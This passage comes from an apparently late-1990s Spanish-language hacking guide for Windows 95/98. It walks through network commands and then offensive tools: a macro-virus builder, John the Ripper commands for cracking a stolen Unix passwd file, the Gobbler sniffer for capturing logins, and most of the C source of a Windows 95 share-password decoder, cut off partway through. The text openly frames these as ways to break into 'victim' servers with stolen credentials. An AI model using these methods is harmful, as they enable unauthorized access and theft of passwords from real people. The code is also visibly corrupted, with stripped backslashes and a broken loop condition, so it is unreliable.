      703-453-4160 (FAX) 703-453-4001

 

   Record last updated on 13-Mar-97.

   Record created on 22-Jun-95.

 

   Domain servers in listed order:

 

   DNS-01.AOL.COM               152.163.199.42

   DNS-02.AOL.COM               152.163.199.56

   DNS-AOL.ANS.NET              198.83.210.28

 

 

 

 

  Como vemos hemos pedido informacion sobre AOL.COM, American On-Line. Y esto

  es lo que nos ha sacado Internic. Al final podemos ver los dominios

  asociados a AOL. Pues sencillo y muy util, el whois.

 

 

                                                    

 

   4-9. Tracert.

 

  Esta utilidad que si esta implementada en Win95/98, nos sirve para calcular

  el tiempo que tarda un paquete de un servidor hasta otro y ademas podemos

  saber por cuantos servidores pasa. Muy util para sacar posibles servidores

  victimas si nos llaman la atencion.

 

  Para usar esta utilidad, abrimos una ventana MS-DOS y escribimos Tracert,

  a secas y nos sacara el menu de opciones disponible.

 

  c:>tracert

 

  Usage:tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

 

  Options:

       -d                 Do not resolve addresses to hostnames.

       -h maximum_hops    Maximum number of hops to search for target.

       -j host-list       Loose source route along host-list.

       -w timeout         Wait timeout milliseconds for each reply.

 

  Pues como veis, no tiene ningun misterio las opciones del Tracert, por

  lo que ya aprendereis su uso con la experiencia. Ahora escribimos una

  direccion IP cuando invocamos al Tracert, de la siguente forma:

 

  c:>tracert 198.83.210.28

 

  Tracing route to dns-aol.ans.net [198.83.210.28]

  over a maximum of 30 hops:

 

  1   *        *        *     Request timed out.

  2 138 ms  145 ms  135 ms 204.134.78.201

  3 212 ms  191 ms  181 ms glory-cyberport.nm.westnet.net [204.134.78.33]

  4 166 ms  228 ms  189 ms enss365.nm.org [129.121.1.3]

  5 148 ms  138 ms  177 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45]

  6 284 ms  296 ms  178 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221]

  7 298 ms  279 ms  277 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9]

  8 238 ms  234 ms  263 ms h14.t104-0.Atlanta.t3.ans.net [140.223.65.18]

  9 301 ms  257 ms  250 ms dns-aol.ans.net [198.83.210.28]

 

  Trace complete.

 

 

 

 

  Aqui podeis por todos lo sitios que ha pasado el paquete que hemos enviado

  al IP 198.83.210.28. Y asi podemos con todos los servidores de Internet.

 

   4-10. Winipcfg.

 

  Ejecutando este comando, nos saldra una ventana windows informandonos de

  los diferentes valores de nuestra red. Realmente util para verificar la

  configuracion.

 

   4-11. Ipconfig.

 

  Este programa es similar al anterior descrito pero funciona en modo MS-DOS.

  Al igual nos sirve para verificar la configuracion de nuestra red. Por

  ejemplo, lo ejecutamos asi:

 

  C:WINDOWS>ipconfig

 

  Windows 98 IP Configuration

 

  0 Ethernet adapter :

 

          IP Address. . . . . . . . . : 0.0.0.0

          Subnet Mask . . . . . . . . : 0.0.0.0

          Default Gateway . . . . . . :

 

  Decir que en el ordenador donde estoy escribiendo este articulo, no lo

  tengo en estos momentos en red, por eso no lo tengo configurado. Para pedir

  las diferentes opciones, ejecutamos:

 

  C:WINDOWS>ipconfig -h

  Windows 98 IP Configuration

  Command line options:

  /All - Display detailed information.

  /Batch [file] - Write to file or ./WINIPCFG.OUT

  /renew_all    - Renew   all adapters.

  /release_all  - Release all adapters.

  /renew   N    - Renew   adapter N.

  /release N    - Release adapter N.

 

  No veo la necesidad de traducir esto debido a que es realmente facil, en

  caso de no entender nada, aprende ingles Pero la que mas nos puede

  interesar es la opcion /All.

 

   4-12. Arp.

 

  Ejecutamos este comando para que nos muestre o para modificar nuestra IP

  en nuestra red, mantenida por un servidor Windows NT. Por ejemplo:

 

  C:WINDOWS>arp

 

  Displays and modifies the IP-to-Physical address translation tables used by

  address resolution protocol (ARP).

 

  ARP -s inet_addr eth_addr [if_addr]

  ARP -d inet_addr [if_addr]

  ARP -a [inet_addr] [-N if_addr]

 

    -a          Displays current ARP entries by interrogating the current

                protocol data.  If inet_addr is specified, the IP and Physical

                addresses for only the specified computer are displayed.  If

                more than one network interface uses ARP, entries for each ARP

                table are displayed.

    -g          Same as -a.

    inet_addr   Specifies an internet address.

    -N if_addr  Displays the ARP entries for the network interface specified

                by if_addr.

    -d          Deletes the host specified by inet_addr.

    -s          Adds the host and associates the Internet address inet_addr

                with the Physical address eth_addr.  The Physical address is

                given as 6 hexadecimal bytes separated by hyphens. The entry

                is permanent.

    eth_addr    Specifies a physical address.

    if_addr     If present, this specifies the Internet address of the

                interface whose address translation table should be modified.

                If not present, the first applicable interface will be used.

  Example:

    > arp -s 157.55.85.212   00-aa-00-62-c6-09  .... Adds a static entry.

    > arp -a                                    .... Displays the arp table.

 

  Y como viene siendo habitual, os remito a aprender ingles y a jugar con las

  distintos parametros que tiene este comando.

 

   4-13. Route.

 

  Este comando nos permitira manejar la tabla local TCP/IP. Al igual que los

  demas comandos dispone de varios parametros, los cuales son los siguientes:

 

  C:WINDOWS>route

 

  Manipulates network routing tables.

 

  ROUTE [-f] [command [destination] [MASK netmask] [gateway] [METRIC metric]]

 

    -f           Clears the routing tables of all gateway entries.  If this is

                 used in conjunction with one of the commands, the tables are

                 cleared prior to running the command.

 

    command      Must be one of four:

                   PRINT     Prints   a  route

                   ADD       Adds     a  route

                   DELETE    Deletes  a  route

                   CHANGE    Modifies an existing route

 

    destination  Specifies the destination host.

 

    MASK         Specifies that the next parameter is the 'netmask' value.

 

    netmask      Specifies a subnet mask value to be associated

                 with this route entry. If not specified, it defaults to

                 255.255.255.255.

 

    gateway      Specifies gateway.

 

    METRIC       Specifies that the next paramenter 'metric' is the

                 cost for this destination

 

  All symbolic names used for destination are looked up in the network

  database file NETWORKS. The symbolic names for gateway are looked up in the

  host name database file HOSTS.

 

  If the command is PRINT or DELETE, wildcards may be used for the destination

  and gateway, or the gateway argument may be omitted.

  Diagnostic Notes:

      Invalid MASK generates an error, that is when (DEST & MASK) != DEST.

      Example> route ADD 157.0.0.0 MASK 155.0.0.0 157.55.80.1

               The route addition failed: 87

 

  Examples:

 

      > route PRINT

      > route   ADD 157.0.0.0     MASK 255.0.0.0   157.55.80.1 METRIC  3

                    ^destination       ^mask       ^gateway            ^metric

      > route PRINT

      > route DELETE 157.0.0.0

      > route PRINT

 

  Creo que queda bastante claro, incluso provee distintos ejemplos para

  familiarizarnos con este comando.

 

   4-14. Netstat.

 

  Este comando nos puede ser muy util para saber que conexiones tenemos

  activas en el momento de ejecutar este comando, para conexiones TCP/IP, lo

  ejecutamos asi, solo que en mi caso no saldra ya que no estoy conectado en

  este momento:

 

  C:WINDOWS>netstat

 

  Active Connections

 

    Proto  Local Address          Foreign Address        State

 

  Como veis no sale nada, pero si lo ejecutais cuando esteis conectados, ya

  vereis Como siempre este comando dispone de varios parametros, que son

  los siguientes:

 

  C:WINDOWS>netstat /?

 

  Displays protocol statistics and current TCP/IP network connections.

 

  NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]

 

    -a          Displays all connections and listening ports.

    -e          Displays Ethernet statistics. This may be combined with the -s

                option.

    -n          Displays addresses and port numbers in numerical form.

    -p proto    Shows connections for the protocol specified by proto; proto

                may be TCP or UDP.  If used with the -s option to display

                per-protocol statistics, proto may be TCP, UDP, or IP.

    -r          Displays the routing table.

    -s          Displays per-protocol statistics.  By default, statistics are

                shown for TCP, UDP and IP; the -p option may be used to

                specify a subset of the default.

    interval    Redisplays selected statistics, pausing interval seconds

                between each display.  Press CTRL+C to stop redisplaying

                statistics.  If omitted, netstat will print the current

                configuration information once.

 

  Ya solo nos queda jugar con los distintos parametros y aprender

 

  5. Utilizacion De Tools.

 

  En esta seccion os explicare diferentes tools que podeis usar para hacking,

  por supuesto hay que buscarlas por Internet, no pondre el url para

  encontrarlas, ya que a lo mejor cuando estas leyendo esta guia ya no existe,

  pero os dire como se llama el programa asi lo podras buscar ademas esto

  tambien te servira para que te espabiles y sepas buscar cosas por Internet.

 

  Logicamente esta guia es para win95/98 y los programas que explicare seran

  para win95/98 pero tambien me veo obligado a explicar varias tools que no

  son de win95/98 propiamente sino de MS-DOS pero que son necesarias y ademas

  corren en modo MS-DOS de win95/98.

 

   5-1. Skamwerks lab version 1.1b

 

  Este programa es un util herramienta que nos ayuda a crear de forma rapida

  virus macro, o sea para el Word. Tiene que estar instalado el Word para

  que este programa nos funcione.

 

  Al ejecutar el programa nos aparecera una ventana con 2 botones los caules

  son las 2 opciones que podemos escoger "Virii Wizard" o "Advanced Users".

  El "virii Wizard" es la opcion, si no sabemos muy bien como crear un virus

  de macro ya que nos moveremos por varios menus y crearemos un virus de

  forma rapida y facilmente. La otra opcion, "Advanced Users" es para

  aquellos que sepan de Word Basic, el lenguaje de programacion del Word, ya

  que podemos meter codigo Word basic directamente y asi crear un virus a

  nuestro gusto.

 

  Como este no es un curso sobre virus, no me voy a enrollar sobre la

  utilizacion exacta del programa. En mi opinion es un buen programa,

  en ingles programado en C++.

 

   5-2. WaReZ! Version 95.12.31

 

  Este programa es un cliente FTP que muestra los directorios ocultos en un

  servidor, util si nos metemos en algun sitio sospechoso. Como ya es

  costumbre para que nos funcione tenemos que tener instalado el WINSOCK.DLL

  correctamente.

 

  Al igual que antes tampoco hay que explicar mucho sobre este programa ya

  que su Interface es igual que el cliente WS_FTP que suele ser muy familiar

  para todos, por lo que no encontraremos mucha dificultad en su manejo.

 

   5-3. John the ripper v1.4.

 

  Esta magnifica tool no es propiamente de win95/98 pero seria un pecado no

  hablar de ella, cuando corre sobre win95/98 de maravilla (bueno, dentro de

  lo que cabe . John, como se le conoce, sirve para crackear un fichero

  unix de password (el conocido etc/passwd, como ya digo aprended algo de

  unix).

 

  Cuando robemos un fichero passwd de un servidor, lo que tenemos que hacer

  es usar el John para sacar cuentas, pero no solo basta esto sino tambien

  necesitamos un buen diccionario y una combinacion de suerte y paciencia.

 

  Supongamos que ya tenemos todo (fichero passwd, John y un diccionario),

  entonces tenemos que abrir una ventana MS-DOS y llamar al John, si lo

  llamamos sin nigun parametro nos saldran un listado de opciones, esto seria

  asi:

 

  c:>john

 

  Usage: john [flags] [passwd files]

  Flags:-pwfile:<file>[,..]     specify passwd file(s)

        -wordfile:<file> -stdin wordlist mode, read words from <file> or stdin

        -rules                  enable rules for wordlist mode

        -incremental[:<mode>]   incremental mode [using john.ini entry <mode>]

        -single                 single crack mode

        -external:<mode>        external mode, using john.ini entry <mode>

        -restore[:<file>]       restore session [from <file>]

        -makechars:<file>       make a charset, <file> will be overwritten

        -show                   show cracked passwords

        -test                   perform a benchmark

        -users:<login|uid>[,..] crack this (these) user(s) only

        -shells:[!]<shell>[,..] crack users with this (these) shell(s) only

        -salts:[!]<count>      crack salts with at least <count> accounts only

        -lamesalts              assume plaintext passwords were used as salts

        -timeout:<time>         abort session after a period of <time> minutes

        -list                   list each word

        -beep -quiet            beep or don't beep when a password is found

        -noname -nohash        don't use memory for login names or hash tables

        -des -md5               force DES or MD5 mode

 

  Veis? , y como siempre no explicare que es cada opcion os lo dejo para

  que jugueis vosotros solitos!. Ahora, ya podemos crackear el fichero,

  para ello escogermos la opcion "single", ya que el john no nos pedira

  un fichero de diccionario, si fuese el caso que no tenemos, ponemos:

 

  c:>john -single passwd

 

  Y el John se pondra a trabajar, cuando halla acabo creara un fichero

  llamado "John.pot" donde se almacenaran los passwords encriptados con

  su correspodiente passwords desencriptado (esta definicion no es del

  todo correcta pero es para que lo entendais) y ya tenemos unas cuentas

  de acceso al servidor.

 

  Este metodo va bien para la primera pasado con el John pero luego conviene

  usar un diccionario y con el diccionario seria de la siguiente manera:

 

  c:>john -wordfile:spain.txt passwd

 

  El John seguiria el mismo proceso antes descrito, por supuesto si el

  fichero "John.pot" esta creado ya, les a¤adira los resultados obtenidos

  a este fichero, por cierto este fichero tiene atributo de solo lectura.

 

  Pues aqui se acaba la explicacion del John, que seguro que ya aprendereis

  a manejar correctamente. Referente a los diccionarios hay varias

  herramientas que corren bajo MS-DOS que crean diccionarios o tambien

  podeis buscar por Internet ya que hay varios web's llenos de diccionarios.

 

  Decir que la ultima version del John The Ripper es la 1.5.

 

   5-4. Gobbler v 2.1.

 

  Volvemos a la carga con otro programa que no es del win95/98 propiamente,

  pero es un sniffer que podemos usar bajo win95 en una red Ethernet. Un

  Sniffer para aquellos que no sepan, es un programa que captura los paquetes

  que pasan por una red y asi se pueden conseguir logins, passowrds u otro

  tipo de informacion que querramos, logicamente si los paquetes estan

  encriptados, esto dificultara el proceso, ya que habra que desencriptarlos

  si se puede.

 

 

                                                            

 

  Como siempre abrimos una ventana y ejecutamos el programa de la siguiente

  manera:

 

  c:>gobbler

 

  Y se activara el programa y veremos una serie de ventanas, en este punto,

  pulsamos el <ESC> y saldra una ventana con un menu. Ahora tenemos que

  configurar el programa para nuestra red, la verdad es que es muy sencillo

  de utilizar, con un poco de practica dominaremos este sniffer facilmente.

  Como sugerencia conviene leer el fichero de documentacion que trae, ya

  que explica como configurar el programa.

 

   5-5. Sharepasswd.

 

  Este programa desencripta el passorwd de win95/98. Esta en lenguaje C, como

  supongo todo el mundo tiene que tener un compilador en C y si no ya estas

  buscando uno, que hay muchos y gratis por Internet. No veo la necesidad

  de explicaros el programa ya que tambien incluyo la explicacion del

  autor la cual esta muy bien, logicamente.

 

------------ Codigo Fuente ---------------------------------------------------

 

/* This program takes an 'encrypted' Windows 95 share password and decrypts it

 * Look at:

 * HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan

 * to find a machine's shares.  Within the data for each share are two

 * registry entries, Parm1enc and Parm2enc.  Parm1enc is the "Full access"

 * password.  Parm2enc is the "Read only" password.

 *

 * David Ross  2/9/96

 * snakey@cs.umd.edu

 *

 * Do not distribute this program for any commercial purpose without first

 * contacting me for permission.

 *

 * DO NOT USE THIS PROGRAM FOR ILLEGAL OR UNETHICAL PURPOSES!

 *

 * A technical description of the 'code' can be found later on in this

 * document.

 *

 * Oh yeah...  a totally unsolicited self promotion here...  If anyone has

 * a job for a junior year Computer Science student for summer '96, please

 * let me know!  I'm familiar with Windows and Mac networking (especially

 * involving TCP/IP), fluent in C and C++, and working on becoming a

 * proficient Windows programmer.

 *

 */

 

#include <stdio.h>

#include <string.h>

 

#define BUFFER 30

 

int DecodeCharOne(unsigned char *);

int DecodeCharTwo(unsigned char *);

int DecodeCharThree(unsigned char *);

int DecodeCharFour(unsigned char *);

int DecodeCharFive(unsigned char *);

int DecodeCharSix(unsigned char *);

int DecodeCharSeven(unsigned char *);

int DecodeCharEight(unsigned char *);

 

main() {

 

  int i;           /* Generic counter */

  int eocc = 0;    /* Records if there has been an error */

 

  /* The following structure stores the encoded bytes.  Decoded values

   * replace the encoded values as the decoding process moves along

   * The initial values show here are not used and are unimportant

   */

  unsigned char mybytes[] = { 0x15, 0xba, 0x6d, 0x86, 0x73, 0x89, 0xf4, 0x4a };

  unsigned short tempshort;   /* Used as a go-between from sscanf() to

                         mybytes[] so unaligned data accesses

                         don't occur */

 

  int goupto = 0;  /* Records how many characters there are to be decoded */

 

 

 

 

  /* The following code handles input */

  char inpt[BUFFER];

  char *inptptr;

 

 

 

 

  printf("Input the byte code in hex (ex: 76 d5 09 e3): ");

  fgets(inpt, BUFFER, stdin);

 

 

 

 

  inptptr = strtok(inpt, " ");

  if (inpt[0] != 'n')

    while ((inptptr != NULL) && (goupto < ) {

      sscanf(inptptr, "%hx", &tempshort);

      mybytes[goupto++] = tempshort;

      inptptr = strtok(NULL, " ");

    }

 

 

  

 

  /* Decode all the characters.  I could have made this stop immediately

   * after an error has been found, but it really doesn't matter

   */

  if (!DecodeCharOne(&mybytes[0])) eocc = 1;

  if (!DecodeCharTwo(&mybytes[1])) eocc = 1;

  if (!DecodeCharThree(&mybytes[2])) eocc = 1;

  if (!DecodeCharFour(&mybytes[3])) eocc = 1;

  if (!DecodeCharFive(&mybytes[4])) eocc = 1;

  if (!DecodeCharSix(&mybytes[5])) eocc = 1;

  if (!DecodeCharSeven(&mybytes[6])) eocc = 1;

  if (!DecodeCharEight(&mybytes[7])) eocc = 1;

 

  /* If the password could be decoded, print it */

  if (eocc) printf("The encrypted password is invalid.n");

  else {

    printf("The decoded password is: "");

    for (i = 0; i < goupto; i++) printf("%c",mybytes[i]);

    printf(""n");

  }

}  /* End of main() */

 

/*

 * I will document this function, but not the seven other functions

 * which decode the subsequent seven characters.  All of these functions

 * are essentially the same.  Multiple functions are necessary though

 * because each column of the password has a different set of encoding

 * patterns.

 *

 * The following section will attempt to explain the encoding scheme

 * for share passwords as stored in the Windows 95 registry.  I will

 * try to explain this as clearly as I can, however I really have no

 * background in encryption.  If you have any questions, please feel

 * free to send them to me at snakey@cs.umd.edu.

 *

 * First off, share passwords can be anywhere from one character to

 * eight.  "Read only" passwords and "Full access" passwords both use

 * the same encoding scheme, and so they both can be decoded by this

 * program.  There is a one-to-one relationship between the number of

 * characters in a password and the number of bytes in the encoded

 * password stored in the registry.  In fact, each encoded byte directly

 * corresponds to the letter in the corresponding column of the

 * unencoded password!  Ie: If I change a password "passwd" to "masswd",

 * only the first byte of the encrypted password will change.  Knowing

 * this, it is easy to see that all that needs to be done to decode

 * the password is to find a mapping from an encoded byte to a decoded

 * letter.  That's what this program does.  Unfortunately, things get

 * a little tricky because a letter in the first column of a password

 * is encoded using a slightly different algorithm than a letter

 * in the second column, and so on.

 *

 * There is another complexity which we do not really need to worry

 * about to a great extent, but we still need to be aware of.  Many

 * characters, when entered into a password, map to the same encoded

 * byte.  The best example of this is that both 'A' and 'a' are the

 * same as far as share passwords are concerned.  There are numerous

 * other examples of this, and this allows us to effectively limit the

 * range of characters we need to be able to decode.  The range of

 * ASCII values we will have to be able to decode turns out to be

 * from 32 to 159.  ASCII values higher than 159 tend to map to

 * encoded bytes which also represent more normal ASCII values.  So

 * if a user manages to create a password with high ASCII values

 * in it, that password will still be decoded by this program.

 * Although the decoded password won't look the same as the original,

 * it will work just as well.

 *

 * With all of the preliminaries out of the way, I can now move on

 * to describing the mapping from an encoded byte to it's corresponding

 * ASCII value.  I think the best way to describe this would be through

 * a picture of exactly how the characters from 32 to 63 are mapped

 * out in the code for the first letter in a password.  This table goes

 * beyond the 80 column format maintained in the rest of this document,

 * but it is really the best solution.  If the table below doesn't look

 * right, load this file up in a text editor that supports greater than

 * 80 columns.

 *

 *   Encoded byte (hex)    - 1F 1E 1D 1C 1B 1A 19 18 17 16 15 14 13 14 11 10

                              0F OE 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00

 *   ASCII value (decimal) - 42 43 40 41 46 47 44 45 34 35 32 33 38 39 36 37

                              58 59 56 57 62 63 60 61 50 51 48 49 54 55 52 53

 *   Pair #                - |_6_| |_5_| |_8_| |_7_| |_2_| |_1_| |_4_| |_3_|

                              |14_| |13_| |16_| |15_| |10_| |_9_| |12_| |11_|

 *   Quad #                - |__________2__________| |__________1__________|

                              |__________3__________| |__________4__________|

 *   32 byte block #       - |______________________________________________

                              1______________________________________________|

 *

 * The "Pair #", "Quad #", and "32 byte block #" rows each are there to

 * make the general ordering of the code more visible.  The first thing to

 * note is that the range of encoded byte values runs from 00 to 1f.  This

 * will not always be the case for the first set of 32 characters.  In

 * fact, the next set of 32 characters (ASCII 64 to ASCII 95) is not in

 * the range of 20 to 3f in encoded form.  I never concerned myself with

 * predicting exactly where each of the four 32 byte ranges are aligned

 * within the range of 0 to 256.  In my decoding scheme, I simply specify

 * the location of the first character in a 32 byte block (which I have

 * pre-determined via experimentation) and determine the locations of the

 * rest of the characters in the block relative to the inital value.  This

 * amounts to a total of four hand-decoded characters for the entire code.

 *

 * From a starting point which is given (in this case the fact that ASCII

 * 32 is encoded as 0x15), my decoding scheme follows a pattern that is

 * probably already apparent to you if you have examined the above table

 * closely.  First, if the encoded byte number is odd, it simple subtracts

 * one from this byte number to get the byte number of the encoded form of

 * the subsequent character.  This is much more simple than it sounds.

 * As an example, given that the code for ASCII 32 is 0x15, the program

 * knows that the code for ASCII 33 must be 0x14.  The tricky part is that

 * this is not always true for every code.  Recall that there is a different

 * coding scheme for each of the 8 columns in a password, and that the above

 * table only describes the coding scheme for the first column.  Other columns

 * reverse this relationship between the two ASCII values of a certain pair.

 *

 * Pairs are grouped into units of four, appearing in a predefined pattern.

 * In this case, the first pair (by first I mean the pair with the lowest

 * set of ASCII values) is put in the second slot of a quad (which contains

 * four pairs).  The second pair is put in the first slot, the third is put

 * in the fourth quad, and the fourth is put in the third quad.  This changes

 * depending on the specific code used (of the 8 possible).

 *

 * Quads also fill a block in the same manner, however the ordering is NOT

 * necessarily the same as the way pairs fit into quads!  As I described

 * above, there are four blocks, and they fit into the entire range of

 * 128 values just as pairs fit into quads and quads fit into blocks,

 * via a pattern determined by whoever invented this encoding scheme.  It

 * is important to realize that the range of 128 possible encoded

 * values can be anywhere within the range of 0 to 256.  Ie: One block can

 * be positioned from 0x00 to 0x1f, while another block in the same code

 * can be positioned from 0xa0 to 0xbf.

 *

 * I realize that the above description is a bit complex, and it doesn't

 * really cover much of _how_ my program decodes the the encoded values.

 * If you honestly can't understand a word I've said, just go back to

 * the table and really take a long look at it.  Print it out, put it

 * under your pillow when you go to sleep.  Sooner or later the order

 * of it all will dawn on you and you should be able to step through

 * my code and see how it derives its answer, at least for the

 * DecodeCharOne() routine.  Seven other tables (which I have rough

 * copies of here on notebook paper) were needed to come up with

 * the seven other decoders for the seven other character places.

 *

 */

 

int DecodeCharOne(unsigned char *mychar) {

  int i = 0;        /* Keeps track of the decoded character # minus 32 */

  int cletter = 1;  /* Sets the current letter of the 8 char quad */

  int blockl1 = 1;  /* Sets the current quad */

  int blockl2 = 1;  /* Sets the current 32 char block */

  int retval = 1;

  /* We are on this col of the table: */

  unsigned char code = 0x15;    /* The code for a space */

 

 

 

 

  /* This is the main loop.  It walks through each decoded character, finds

   * its corresponding encoded value, and looks to see if that's the same as

   * the encoded value we are looking for.  If it is, we have found our

   * decoded character!

   */

  while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

      code--;

      cletter++;

      break;

    case 2:

      code += 3;

      cletter++;

      break;

    case 3:

      code--;

      cletter++;

      break;

    case 4:

      code -= 5;

      cletter++;

      break;

    case 5:

      code--;

      cletter++;

      break;

    case 6:

      code+=3;

      cletter++;

      break;

    case 7:

      code--;

      cletter++;

      break;

    case 8:

      cletter = 1;

      switch (blockl1) {    /* After we hit character number 8, we have */

      case 1:               /* to do a relative jump to the next quad */

      code += 11;

      blockl1++;

      break;

      case 2:

      code -= 21;

      blockl1++;

      break;

      case 3:

      code += 11;

      blockl1++;

      break;

      case 4:

      blockl1 = 1;

      switch (blockl2) {       /* After we hit the last quad, we have to */

      case 1:                  /* jump to the next 32 character block. */

        code = 0x75;

        blockl2++;

        break;

      case 2:

        code = 0x55;

        blockl2++;

        break;

      case 3:

        code = 0xb5;

        blockl2++;

        break;

      case 4:

        code = 0x15;

        blockl2 = 1;

        break;

      }

      break;

      }

      break;

    }

    i++;

  }

  if (i == 256) retval = 0;

  else *mychar = i + 32;

  return retval;

}  /* End of DecodeCharOne() */

 

int DecodeCharTwo(unsigned char *mychar) {

  int i = 0;

  int cletter = 1;

  int blockl1 = 1;

  int blockl2 = 1;

  int retval = 1;

  unsigned char code = 0xba;    /* The code for a space */

  while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

      code++;

      cletter++;

      break;

    case 2:

      code -= 3;

      cletter++;

      break;

    case 3:

      code++;

      cletter++;

      break;

    case 4:

      code += 5;

      cletter++;

      break;

    case 5:

      code++;

      cletter++;

      break;

    case 6:

      code -= 3;

      cletter++;

      break;

    case 7:

      code++;

      cletter++;

      break;

    case 8:

      cletter = 1;

      switch (blockl1) {

      case 1:

            code -= 11;

      blockl1++;

      break;

      case 2:

      code -= 11;

      blockl1++;

      break;

      case 3:

      code -= 11;

      blockl1++;

      break;

      case 4:

      blockl1 = 1;

      switch (blockl2) {

      case 1:

        code = 0xda;

        blockl2++;

        break;

      case 2:

        code = 0xfa;

        blockl2++;

        break;

      case 3:

        code = 0x1a;

        blockl2++;

        break;

      case 4:

        code = 0xba;

        blockl2 = 1;

        break;

      }

      break;

      }

      break;

    }

    i++;

  }

  if (i == 256) retval = 0;

  else *mychar = i + 32;

  return retval;

}  /* End of DecodeCharTwo() */

 

int DecodeCharThree(unsigned char *mychar) {

  int i = 0;

  int cletter = 1;

  int blockl1 = 1;

  int blockl2 = 1;

  int retval = 1;

  unsigned char code = 0x6d;    /* The code for a space */

  while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

      code--;

      cletter++;

      break;

    case 2:

      code += 3;

      cletter++;

      break;

    case 3:

      code--;

      cletter++;

      break;

    case 4:

      code -= 5;

      cletter++;

      break;

    case 5:

      code--;

      cletter++;

      break;

    case 6:

      code += 3;

      cletter++;

      break;

    case 7:

      code--;

      cletter++;

      break;

    case 8:

      cletter = 1;

      switch (blockl1) {

      case 1:

        code -= 5;

        blockl1++;

      break;

      case 2:

        code += 27;

        blockl1++;

        break;

      case 3:

        code -= 5;

        blockl1++;

        break;

      case 4:

      blockl1 = 1;

      switch (blockl2) {

      case 1:

        code = 0x0d;

        blockl2++;

        break;

      case 2:

          code = 0x2d;

          blockl2++;

          break;

      case 3:

          code = 0xcd;

          blockl2++;

          break;

      case 4:

        code = 0x6d;

        blockl2 = 1;

          break;

      }

      break;

      }

      break;

    }

    i++;

  }

  if (i == 256) retval = 0;

  else *mychar = i + 32;

  return retval;

}  /* End of DecodeCharThree() */

 

int DecodeCharFour(unsigned char *mychar) {

  int i = 0;

  int cletter = 1;

  int blockl1 = 1;

  int blockl2 = 1;

  int retval = 1;

  unsigned char code = 0x86;    /* The code for a space */

  while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

      code++;

      cletter++;

      break;

    case 2:

      code -= 3;

      cletter++;

      break;

    case 3:

      code++;

      cletter++;

      break;

    case 4:

      code -= 3;

      cletter++;

      break;

    case 5:

      code++;

      cletter++;

      break;

    case 6:

      code -= 3;

      cletter++;

      break;

    case 7:

      code++;

      cletter++;

      break;

    case 8:

      cletter = 1;

      switch (blockl1) {

      case 1:

        code += 13;

        blockl1++;

      break;

      case 2:

        code += 13;

        blockl1++;

        break;

      case 3:

        code += 13;

        blockl1++;

        break;

      case 4:

      blockl1 = 1;

 

 

      switch (blockl2) {

      case 1:

          code = 0xe6;

          blockl2++;

        break;

      case 2:

          code = 0xc6;

          blockl2++;

          break;

      case 3:

          code = 0x26;

          blockl2++;

          break;

      case 4:

        code = 0x86;

          blockl2 = 1;

          break;

      }

      break;

      }

      break;

    }

    i++;

  }

  if (i == 256) retval = 0;

  else *mychar = i + 32;

  return retval;

}   /* End of DecodeCharFour() */

 

int DecodeCharFive(unsigned char *mychar) {

  int i = 0;

  int cletter = 1;

  int blockl1 = 1;

  int blockl2 = 1;

  int retval = 1;

  unsigned char code = 0x73;    /* The code for a space */

  while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

      code--;

      cletter++;

      break;

    case 2:

      code--;

      cletter++;

      break;

    case 3:

      code--;

      cletter++;

      break;

    case 4:

      code += 7;

      cletter++;

      break;

    case 5:

      code--;

      cletter++;

      break;

    case 6:

      code--;

      cletter++;

      break;

    case 7:

      code--;

      cletter++;

      break;

    case 8:

      cletter = 1;

      switch (blockl1) {

      case 1:

        code += 7;

      blockl1++;

      break;

      case 2:

        code -= 25;

        blockl1++;

        break;

      case 3:

        code += 7;

      blockl1++;

        break;

      case 4:

      blockl1 = 1;

      switch (blockl2) {

      case 1:

          code = 0x13;

          blockl2++;

        break;

      case 2:

          code = 0x33;

          blockl2++;

          break;

      case 3:

          code = 0x23;

          blockl2++;

        break;

      case 4:

        code = 0x73;

          blockl2 = 1;

          break;

      }

      break;

      }

      break;

    }

    i++;

  }

  if (i == 256) retval = 0;

  else *mychar = i + 32;

  return retval;

}    /* End of DecodeCharFive() */

 

int DecodeCharSix(unsigned char *mychar) {

  int i = 0;

  int cletter = 1;

  int blockl1 = 1;

  int blockl2 = 1;

  int retval = 1;

  unsigned char code = 0x89;    /* The code for a space */

  while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

      code--;

      cletter++;

      break;

    case 2:

      code += 3;

      cletter++;

      break;

    case 3:

      code--;

      cletter++;

      break;

    case 4:

      code += 3;

      cletter++;

      break;

    case 5:

      code--;

      cletter++;

      break;

    case 6:

      code += 3;

      cletter++;

      break;

    case 7:

      code--;

      cletter++;

      break;

    case 8:

      cletter = 1;

      switch (blockl1) {

      case 1:

        code -= 13;

      blockl1++;

      break;

      case 2:

      code += 19;

        blockl1++;

      break;

      case 3:

        code -= 13;

      blockl1++;

      break;

      case 4:

      blockl1 = 1;

      switch (blockl2) {

      case 1:

          code = 0xe9;

        blockl2++;

        break;

      case 2:

          code = 0xc9;

        blockl2++;

        break;

      case 3:

          code = 0x29;

        blockl2++;

        break;

      case 4:

        code = 0x89;

          blockl2 = 1;

          break;

      }

      break;

      }

      break;

    }

    i++;

  }

  if (i == 256) retval = 0;

  else *mychar = i + 32;

  return retval;

}     /* End of DecodeCharSix() */

 

int DecodeCharSeven(unsigned char *mychar) {

  int i = 0;

  int cletter = 1;

  int blockl1 = 1;

  int blockl2 = 1;

  int retval = 1;

  unsigned char code = 0xf4;    /* The code for a space */

  while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

      code++;

      cletter++;

      break;

    case 2:

      code++;

      cletter++;

      break;

    case 3:

      code++;

      cletter++;

      break;

    case 4:

      code -= 7;

      cletter++;

      break;

    case 5:

      code++;

      cletter++;

      break;

    case 6:

      code++;

      cletter++;

      break;

    case 7:

      code++;

      cletter++;

      break;

    case 8:

      cletter = 1;

      switch (blockl1) {

      case 1:

        code += 9;

      blockl1++;

      break;

